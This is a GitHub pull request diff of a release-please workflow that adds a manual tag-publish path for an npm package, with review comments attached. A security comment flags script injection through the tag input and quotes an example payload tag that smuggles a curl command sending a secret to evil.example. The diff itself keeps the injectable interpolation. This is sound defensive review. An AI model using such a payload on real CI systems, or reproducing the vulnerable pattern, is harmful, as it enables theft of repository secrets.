Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
39 changes: 32 additions & 7 deletions .github/workflows/release-please.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,11 @@ name: Release Please
on:
push:
branches: [master]
workflow_dispatch:
inputs:
tag:
description: 'Existing release tag to publish (e.g. v1.10.0)'
required: true

permissions:
contents: write
Expand All @@ -17,31 +22,51 @@ jobs:
steps:
- uses: googleapis/release-please-action@v4
id: release
if: ${{ github.event_name == 'push' }}
with:
config-file: release-please-config.json
manifest-file: .release-please-manifest.json

- name: Decide publish mode
id: mode
run: |
EVENT_NAME="${{ github.event_name }}"
MANUAL_TAG="${{ github.event.inputs.tag }}"
RELEASE_CREATED="${{ steps.release.outputs.release_created }}"
Comment on lines +33 to +35
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Script injection via user-controlled input

${{ github.event.inputs.tag }} is interpolated directly into the shell script text before the runner executes it. A collaborator who triggers workflow_dispatch with a crafted tag such as v1.0.0" && curl https://evil.example/exfil?s=$SECRET && echo " will have those commands executed in the runner. GitHub's own security-hardening guide explicitly flags this pattern. Pass the value through env: so the runner receives it as a literal environment variable instead.

Suggested change
EVENT_NAME="${{ github.event_name }}"
MANUAL_TAG="${{ github.event.inputs.tag }}"
RELEASE_CREATED="${{ steps.release.outputs.release_created }}"
env:
MANUAL_TAG: ${{ github.event.inputs.tag }}
RELEASE_CREATED: ${{ steps.release.outputs.release_created }}
run: |
EVENT_NAME="${{ github.event_name }}"

Then replace MANUAL_TAG="${{ github.event.inputs.tag }}" and RELEASE_CREATED="${{ steps.release.outputs.release_created }}" with just the references to the env vars that are now already defined above.


if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
echo "should_publish=true" >> "$GITHUB_OUTPUT"
echo "checkout_ref=$MANUAL_TAG" >> "$GITHUB_OUTPUT"
elif [ "$RELEASE_CREATED" = "true" ]; then
Comment on lines +37 to +40
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 No validation that the provided tag exists

checkout_ref is set to whatever string the caller provides with no guard. If the tag is mis-typed (e.g. 1.10.0 instead of v1.10.0), the actions/checkout step will fail with a cryptic ref-not-found error rather than a clear diagnostic. A quick existence check before writing the output would surface the problem early:

Suggested change
if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
echo "should_publish=true" >> "$GITHUB_OUTPUT"
echo "checkout_ref=$MANUAL_TAG" >> "$GITHUB_OUTPUT"
elif [ "$RELEASE_CREATED" = "true" ]; then
if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
if ! git ls-remote --exit-code --tags origin "refs/tags/$MANUAL_TAG" > /dev/null 2>&1; then
echo "::error::Tag '$MANUAL_TAG' does not exist in this repository."
exit 1
fi
echo "should_publish=true" >> "$GITHUB_OUTPUT"
echo "checkout_ref=$MANUAL_TAG" >> "$GITHUB_OUTPUT"

echo "should_publish=true" >> "$GITHUB_OUTPUT"
echo "checkout_ref=${{ github.sha }}" >> "$GITHUB_OUTPUT"
else
echo "should_publish=false" >> "$GITHUB_OUTPUT"
fi

- uses: actions/checkout@v4
if: ${{ steps.release.outputs.release_created }}
if: ${{ steps.mode.outputs.should_publish == 'true' }}
with:
ref: ${{ steps.mode.outputs.checkout_ref }}

- uses: pnpm/action-setup@v2
if: ${{ steps.release.outputs.release_created }}
if: ${{ steps.mode.outputs.should_publish == 'true' }}
with:
version: 10

- uses: actions/setup-node@v4
if: ${{ steps.release.outputs.release_created }}
if: ${{ steps.mode.outputs.should_publish == 'true' }}
with:
node-version: '24'
registry-url: 'https://registry.npmjs.org'
cache: 'pnpm'

- name: Install
if: ${{ steps.release.outputs.release_created }}
if: ${{ steps.mode.outputs.should_publish == 'true' }}
run: pnpm install --frozen-lockfile

- name: Check if version already published
if: ${{ steps.release.outputs.release_created }}
if: ${{ steps.mode.outputs.should_publish == 'true' }}
run: |
VERSION="$(node -e "console.log(JSON.parse(require('fs').readFileSync('package.json','utf8')).version)")"
if npm view "codebase-context@${VERSION}" version >/dev/null 2>&1; then
Expand All @@ -52,7 +77,7 @@ jobs:
fi

- name: Quality gates
if: ${{ steps.release.outputs.release_created && env.SKIP_PUBLISH != 'true' }}
if: ${{ steps.mode.outputs.should_publish == 'true' && env.SKIP_PUBLISH != 'true' }}
run: |
pnpm lint
pnpm format:check
Expand All @@ -61,5 +86,5 @@ jobs:
pnpm test

- name: Publish to npm with provenance
if: ${{ steps.release.outputs.release_created && env.SKIP_PUBLISH != 'true' }}
if: ${{ steps.mode.outputs.should_publish == 'true' && env.SKIP_PUBLISH != 'true' }}
run: pnpm publish --access public --no-git-checks --provenance
Loading